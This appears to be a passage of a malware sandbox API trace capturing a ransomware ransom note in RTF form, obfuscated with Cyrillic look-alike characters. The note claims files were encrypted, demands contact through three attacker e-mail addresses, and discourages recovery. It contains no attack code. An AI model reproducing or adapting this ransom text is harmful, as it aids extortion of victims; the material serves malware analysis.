\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 